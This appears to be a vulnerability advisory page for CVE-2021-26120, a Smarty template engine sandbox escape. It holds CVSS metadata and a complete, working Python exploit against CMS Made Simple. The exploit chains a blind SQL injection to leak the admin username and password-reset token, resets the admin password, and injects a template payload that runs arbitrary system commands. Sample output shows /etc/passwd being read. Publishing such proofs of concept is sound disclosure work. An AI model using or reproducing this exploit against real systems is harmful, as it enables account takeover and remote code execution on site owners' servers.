CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
85.0%
Vulnerability Details:
This vulnerability allows remote attackers execute arbitrary code on affected installations of Smarty Template Engine. Authentication is context dependant and may not be required to exploit this vulnerability.
The specific flaw exists within the Smarty_Internal_Compile_Function class. The issue results from the lack of proper validation to the name property of a function definition. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary php code.
Affected Vendors:
Smarty
Affected Products:
Smarty Template Engine
Vendor Response:
Smarty has issued an update to correct this vulnerability. More details can be found at: <https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q>
#!/usr/bin/env python3
"""
CMS Made Simple Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26120 (Smarty Template Engine Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: CMS Made Simple 2.2.9 "Blow Me Down"
Download: http://s3.amazonaws.com/cmsms/downloads/14316/cmsms-2.2.9.1-install.zip
Bug 1: CVE-2019-9053
- An unauthenticated user can trigger an sql injection and reset the administrators password to bypass authentication
- Works on: <= 2.2.9.1 "Blow Me Down"
Bug 2: CVE-2021-26120
- A user that is authenticated with designer permissions can trigger a serverside template injection and gain remote code execution
by escaping the sandbox of the Smarty Template Engine by leveraging the function 'name' property
- Works on: <= 2.2.15 "Bonaventure" (latest) and impacts Smarty <= 3.1.38 (latest)
# Notes
- *WARNING* The administrator's password will be reset to the administrator's username. Use at your own risk.
- This poc resets the password for user_id 1 which is probably the administrator
- Whilst leaking hashes is not as bold as reseting the administrator's password, it's not guaranteed to get you in
# Example
researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"
researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
# References
- Daniele Scanu @ Certimeter Group's poc at https://www.exploit-db.com/exploits/46635
"""
import requests
import sys
import re
from time import sleep
from lxml import etree
def login(s, t, usr):
uri = "%sadmin/login.php" % t
s.get(uri)
d = {
"username" : usr,
"password" : usr,
"loginsubmit" : "Submit"
}
r = s.post(uri, data=d)
match = re.search("style.php\?__c=(.*)\"", r.text)
assert match, "(-) login failed"
return match.group(1)
def trigger_or_patch_ssti(s, csrf, t, tpl):
# CVE-2021-26120
d = {
"mact": 'DesignManager,m1_,admin_edit_template,0',
"__c" : csrf,
"m1_tpl" : 10,
"m1_submit" : "Submit",
"m1_name" : "Simplex",
"m1_contents" : tpl
}
r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
if "rce()" in tpl:
r = s.get("%sindex.php" % t)
assert ("endrce" in r.text), "(-) rce failed!"
cmdr = r.text.split("endrce")[0]
print(cmdr.strip())
def determine_bool(t, exp):
p = {
"mact" : "News,m1_,default,0",
"m1_idlist": ",1)) and %s-- " % exp
}
r = requests.get("%smoduleinterface.php" % t, params=p)
return True if r.text.count("Posted by:") == 2 else False
def trigger_sqli(t, char, sql, c_range):
# CVE-2019-9053
for i in c_range:
# <> characters are html escaped so we just have =
# substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i)
return -1
def leak_string(t, sql, leak_name, max_length, c_range):
sys.stdout.write("(+) %s: " % leak_name)
sys.stdout.flush()
leak_string = ""
for i in range(1,max_length+1):
c = trigger_sqli(t, i, sql, c_range)
# username is probably < 25 characters
if c == -1:
break
leak_string += c
sys.stdout.write(c)
sys.stdout.flush()
assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
return leak_string
def reset_pwd_stage1(t, usr):
d = {
"forgottenusername" : usr,
"forgotpwform" : 1,
}
r = requests.post("%sadmin/login.php" % t, data=d)
assert ("User Not Found" not in r.text), "(-) password reset failed!"
def reset_pwd_stage2(t, usr, key):
d = {
"username" : usr,
"password" : usr, # just reset to the username
"passwordagain" : usr, # just reset to the username
"changepwhash" : key,
"forgotpwchangeform": 1,
"loginsubmit" : "Submit",
}
r = requests.post("%sadmin/login.php" % t, data=d)
match = re.search("Welcome:(.*)<\/a>", r.text)
assert match, "(-) password reset failed!"
assert match.group(1) == usr, "(-) password reset failed!"
def leak_simplex(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_edit_template,0",
"__c" : csrf,
"m1_tpl" : 10
}
r = s.get("%sadmin/moduleinterface.php" % t, params=p)
page = etree.HTML(r.text)
tpl = page.xpath("//textarea//text()")
assert tpl is not None, "(-) leaking template failed!"
return "".join(tpl)
def remove_locks(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_clearlocks,0",
"__c" : csrf,
"m1_type" : "template"
}
s.get("%sadmin/moduleinterface.php" % t, params=p)
def main():
if(len(sys.argv) < 4):
print("(+) usage: %s" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
return
pth = sys.argv[2]
cmd = sys.argv[3]
pth = pth + "/" if not pth.endswith("/") else pth
pth = "/" + pth if not pth.startswith("/") else pth
target = "http://%s%s" % (sys.argv[1], pth)
print("(+) targeting %s" % target)
if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
print("(+) sql injection working!")
print("(+) leaking the username...")
username = leak_string(
target,
"select username from cms_users where user_id=1",
"username",
25, # username column is varchar(25) in the db
list(range(48,58)) + list(range(65,91)) + list(range(97,123)) # charset: 0-9A-Za-z
)
print("\n(+) resetting the %s's password stage 1" % username)
reset_pwd_stage1(target, username)
print("(+) leaking the pwreset token...")
pwreset = leak_string(
target,
"select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
"pwreset",
32, # md5 hash is always 32
list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
)
print("\n(+) done, resetting the %s's password stage 2" % username)
reset_pwd_stage2(target, username, pwreset)
session = requests.Session()
print("(+) logging in...")
csrf = login(session, target, username)
print("(+) leaking simplex template...")
remove_locks(session, target, csrf)
simplex_tpl = leak_simplex(session, target, csrf)
print("(+) injecting payload and executing cmd...\n")
rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
while True:
r = session.get("%sindex.php" % target)
if "endrce" not in r.text:
break
trigger_or_patch_ssti(session, csrf, target, simplex_tpl)
if __name__ == '__main__':
main()
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
85.0%